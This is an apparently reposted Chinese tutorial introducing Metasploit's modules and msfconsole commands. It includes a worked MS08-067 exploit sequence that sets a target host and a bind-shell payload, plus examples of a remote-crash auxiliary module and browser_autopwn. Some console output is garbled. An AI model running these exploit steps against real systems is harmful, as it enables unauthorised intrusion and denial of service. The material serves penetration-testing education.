首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >渗透测试神器 | Metasploit 使用简介

渗透测试神器 | Metasploit 使用简介

作者头像
HACK学习
发布2019-08-07 14:37:00
1.6K0
发布2019-08-07 14:37:00
举报
文章被收录于专栏:HACK学习HACK学习

Metasploit 渗透测试框架

Mstaspoit各模块简介

1.辅助模块

介绍:主要是为渗透测试信息搜集阶段提供大量的辅助工具,包括各种网络服务探测与扫描,构建虚假服务收集登录密码,口令的猜测与破解,敏感信息嗅探等。此外还包括一些无需获取目标系统控制权限的攻击手段,常见的如DDoS攻击等。

2.渗透攻击模块

介绍:主要是利用发现的安全漏洞和配置弱点来对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得远程目标的访问权的代码组件,根据攻击方式的不同,分为主动渗透模块和被动渗透模块。主动渗透所利用的漏洞主要位于网络服务端软件和服务承载的上层应用程序之中。被动渗透利用的漏洞主要位于客户端软件中,主要是通过诱导用户点击包含恶意代码的文件,链接等来被动的获取目标系统信息。

3.攻击载荷模块

介绍:攻击载荷是在渗透成功之后促使目标系统运行的一段植入代码,一般都是为了帮助渗透攻击者打开目标系统上得控制会话连接。而攻击载荷模块就是集成了大量的具有针对性的植入代码,可以减少渗透攻击者的工作量。Metasploit的攻击载荷主要是分为三类:独立(Singles),传输器(Stager),传输体(Stage)。独立攻击载荷是完全独立的,自包含的可以直接植入目标系统执行的载荷,而在一些对攻击载荷的大小,运行条件有限制的情况下Metasploit提供了传输器和传输体来进行攻击。传输器代码少,短小精悍,易于传输且非常可靠,可以满足苛刻的渗透条件,然后可以通过传输器载荷进一步下载并执行传输体载荷,此时传输体载荷就不在受大小和安全防御机制的限制。

4.空指令模块

介绍:空指令是一些对程序运行不造成影响的空操作或者无关操作。为了保证渗透攻击组件的可靠性,降低由于内存地址随机化,返回地址偏差等因素对渗透代码的影响,所以通常都需要在执行的ShellCode之前添加一段空指令区,用来作为缓冲区。

5.编码器模块

介绍:编码器模块主要是将组装好的指令序列进行一定次数的编码,防止渗透攻击指令被检测或是阻断,或者是没有奏效。主要功能是两个:1>确保攻击载荷中不会出现一些“坏字符”,这些“坏字符”很可能导致精心构造的渗透程序不完整甚至无法执行(例如会将一些字符解读为文件尾部,从而丢失了后边的部分)2>对攻击载荷进行免杀处理,通过编码器编码,将攻击载荷的特征码进行隐藏,从而躲避入侵检测系统(IDS)和入侵防御系统(IPS)的检测和查杀。

6.后渗透攻击模块

介绍:在Metasploit v4版本后引进,主要是支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行各种后渗透攻击动作,比如获取敏感信息,进一步拓展,实施跳板攻击等。

msfconsole

msfconsole是MSF中最主要最常用的功能组件,使用集成化的使用方法,可以使用MSF中的所有命令和模块,支持很多其它接口方式不支持的功能,启动msfconsole如下图所示:

支持命令完成功能(tab键)msfconsole主要有以下特点:

支持外部命令执行(可以执行系统命令)

如下为使用ping命令:

| | _) | __ `__ \ _ \ __| _` | __| __ \ | _ \ | __| | | | __/ | ( |\__ \ | | | ( | | | _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__| =[ metasploit v3.4.2-dev [core:3.4 api:1.0] + -- --=[ 567 exploits - 283 auxiliary + -- --=[ 210 payloads - 27 encoders - 8 nops =[ svn r9854 updated today (2010.07.17) msf>ping www.baidu.com ping www.baidu.com [*] exec: ping www.baidu.com Pinging www.a.shifen.com [119.75.217.56] with 32 bytes of data: [119.75.217.56] with 32 bytes of data: Reply from 119.75.217.56: bytes=32 time=73ms TTL=49 …… Ping statistics for 119.75.217.56: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 73ms, Maximum = 94ms, Average = 79ms msf >

使用流程

help命令

和其它基于命令行的程序一样,使用?或者help可以显示MSF所支持的命令,如下为MSF内置的全部命令。

msf > help Core Commands ============= Command Description ------- ----------- ? 显示帮助菜单 back 从当前环境返回到主路径 banner 显示软件旗标信息 cd 改变当前工作路径 color 切换颜色 connect 连接主机,类似于telnet和nc exit 退出 help 显示帮助菜单,即该页面 info 显示模块的详细信息 irb 进入irb脚本模式 jobs 显示和管理作业 kill 结束一个作业 load 加载framework插件 loadpath 从指定路径加载模块 quit 退出 resource 运行文件中的命令 route Route traffic through a session save 保持数据 search 搜索模块及名称 sessions 显示及转存会话列表 set 设置变量值 setg 设置全局变量值 show 显示给定类型的模块或全部模块 sleep 休眠 unload 卸载 framework 插件 unset 取消变量设置 unsetg 取消全局变量设置 use 根据名字选择一个模块 version 显示版本 Database Backend Commands ========================= Command Description ------- ----------- db_services List all services in the database db_status Show the current database status db_sync Synchronize the database db_vulns List all vulnerabilities in the database db_workspace Switch between database workspaces

show命令

在msfconsole中键入show,系统会显示Metasploit的所有模块,若想显示某一类型的模块可以加入模块名称,最常用的主要有一下三个:show payloads、show exploits、show auxiliary。

msf>show auxiliary Auxiliary ========= Name Rank Description ---- ---- ----------- admin/backupexec/dump normal Veritas Backup Exec Windows Remote File Access admin/backupexec/registry normal Veritas Backup Exec Server Registry Access

……

show auxiliary显示Metasploit中的可用辅助模块列表,这些辅助模块包括scanner、dos、fuzzer等

show exploits 显示Metasploit中包含的所有可以利用的攻击类型列表。

show payloads 显示Metasploit中可以在不同平台中可以在远程主机执行的代码,即shellcode。注:在使用具体的exploit时,只显示该平台支持的payload,例如:在使用ms08-067时,只显示windows平台可以使用的payload。

show options 显示可利用模块exploit的设置、条件、描述等。在具体的模块中使用,后面use命令中会有实例。

show targets 显示可利用模块exploit支持的目标类型(操作系统、软件版本等)。在具体的模块中使用,后面use命令中会有实例。

show advanced 显示可利用模块exploit高级信息,自定义利用程序时使用。在具体的模块中使用,后面use命令中会有实例。

show encoders 显示可利用模块exploit的编码方式,在具体的模块中使用,后面set命令中会有实例。

search命令

search 命令是最常用的命令之一,用于查找各种exploit、payload、auxiliary等,命令支持基于正则表达式的模糊查询。如下为查找ms08-067实例:

msf > search ms08-067 [*] Searching loaded modules for pattern 'ms08-067'... Exploits ======== Name Rank Description ---- ---- -----------nption

info命令

info用于显示特殊模块的详细信息,显示内容包括该模块的选项、目标及其它信息。以下是使用info命令显示ms08-067实例:

msf > info windows/smb/ms08_067_netapi Name: Microsoft Server Service Relative Path Stack Corruption Version: 9839 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Rank: Great Provided by: hdm <hdm@metasploit.com> Brett Moore <brett.moore@insomniasec.com> Available targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal ……… 60 Windows XP SP3 Turkish (NX) Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload information: Space: 400 Avoid: 8 characters Description: This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is …… on 2003, along with other platforms, is still in development.References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250

use命令

use命令用于使用特殊的模块,如利用程序、shellcode或辅助模块等。以ms08-067为例,模块名称必须包含完整的路径,可以通过search命令搜索,以下还演示了show options、show targets命令的使用。

msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting ……… 60 Windows XP SP3 Turkish (NX)

conect 命令

connect命令可以连接到远程主机,连接方式和nc、telnet相同,可以指定端口,如下为connect命令演示:

msf > connect 127.0.0.1 4000 [*] Connected to 127.0.0.1:4000 Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. E:\技术工具\cmd>msf >

set命令

set命令用于当前使用模块的选项和设置参数。

set payload xxx/xxx z设置溢出代码

set encoder xxx/xxx 设置利用程序编码方式

set target xxx 设置目标类型

set xxx xxx 设置参数

下面以ms08-067为例:

msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set RHOST 192.168.10.10 RHOST => 192.168.10.10 msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp payload => windows/shell/bind_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.10.10 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The listen port RHOST 192.168.10.10 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) >exploit

check命令

部分exploit支持check命令,该命令用于检测目标系统是否存在漏洞,而不是进行溢出操作。如下:说明目标系统不存在漏洞

msf exploit(ms04_045_wins) > check [-] Check failed: The connection was refused by the remote host (192.168.1.114:42)

设置全局变量

Metasploit 支持设置全局变量并可以进行存储,下次登录时直接使用。设置全局变量使用setg命令,unsetg撤销全局变量,save用于保存全局变量。如下所示:

msf > setg LHOST 192.168.1.101 LHOST => 192.168.1.101 msf > setg RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf > setg RHOST 192.168.1.136 RHOST => 192.168.1.136 msf > save Saved configuration to: /root/.msf3/config

exploit/run命令

设置好各个参数后,可以使用exploit命令执行溢出操作,当使用了自定义auxiliary参数时,需要用run命令执行操作。

msf auxiliary(ms09_001_write) > run Attempting to crash the remote host... datalenlow=65535 dataoffset=65535 fillersize=72 rescue…

resource命令

resource命令可以加载资源文件,并按顺序执行文件中的命令。

msf > resource karma.rc resource> load db_sqlite3 [-] [-] The functionality previously provided by this plugin has been [-] integrated into the core command set. Use the new 'db_driver' [-] command to use a database driver other than sqlite3 (which [-] is now the default). All of the old commands are the same. [-] [-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin resource> db_create /root/karma.db [*] The specified database already exists, connecting [*] Successfully connected to the database [*] File: /root/karma.db resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 10.0.0.1 AUTOPWN_HOST => 10.0.0.1

irb命令

运行irb命令,进入irb脚本模式,可以执行命令创建脚本。

msf > irb [*] Starting IRB shell... >> puts "BlackAngle!" BlackAngle!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-09-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Mstaspoit各模块简介
    • 1.辅助模块
      • 2.渗透攻击模块
        • 3.攻击载荷模块
          • 4.空指令模块
            • 5.编码器模块
              • 6.后渗透攻击模块
              • msfconsole
                • 使用流程
                  • help命令
                    • show命令
                      • search命令
                        • info命令
                          • use命令
                            • conect 命令
                              • set命令
                                • check命令
                                  • 设置全局变量
                                    • exploit/run命令
                                      • resource命令
                                        • irb命令
                                        相关产品与服务
                                        数据库
                                        云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                                        领券
                                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档